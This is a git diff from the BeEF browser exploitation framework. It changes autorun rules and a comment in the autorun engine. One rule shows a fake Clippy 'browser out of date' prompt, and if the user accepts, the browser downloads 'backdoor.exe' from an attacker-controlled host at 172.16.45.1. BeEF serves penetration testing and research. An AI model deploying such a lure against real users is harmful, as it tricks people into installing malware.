diff --git a/arerules/c_osx_test-return-mods.json b/arerules/c_osx_test-return-mods.json
index d29944c49..684d05c6f 100644
--- a/arerules/c_osx_test-return-mods.json
+++ b/arerules/c_osx_test-return-mods.json
@@ -2,7 +2,7 @@
   "name": "Test return debug stuff",
   "author": "antisnatchor",
   "browser": "S",
-  "browser_version": "== 8",
+  "browser_version": ">= 7",
   "os": "OSX",
   "os_version": "<= 10.10",
   "modules": [{
diff --git a/arerules/ie_win_fakenotification-clippy.json b/arerules/ie_win_fakenotification-clippy.json
index bd84eb1e0..bac6e445b 100644
--- a/arerules/ie_win_fakenotification-clippy.json
+++ b/arerules/ie_win_fakenotification-clippy.json
@@ -17,7 +17,7 @@
       "name": "clippy",
       "condition": null,
       "options": {
-        "clippydir": "http://clippy.ajbnet.com/1.0.0/",
+        "clippydir": "http://172.16.45.1:3000/clippy/",
         "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
         "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
         "respawntime":"5000",
diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb
index fbfaac95b..a03aedf77 100644
--- a/core/main/autorun_engine/engine.rb
+++ b/core/main/autorun_engine/engine.rb
@@ -109,13 +109,14 @@ module BeEF
           wrapper
         end
 
-        # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay.
+        # Wraps module bodies in their own function, then start to execute them from the first, polling for
+        # command execution status/results (with configurable polling interval and timeout).
         # Launch order is also taken care of.
         #  - nested forward chain with status checks (setInterval to wait for command to return from async operations)
         #    ex.:  module_one()
-        #           if result == success
+        #           if condition
         #             module_two(module_one_output)
-        #               if result == success
+        #               if condition
         #                  module_three(module_two_output)
         #
         # Note: command result status is checked, and you can properly chain input into output, having also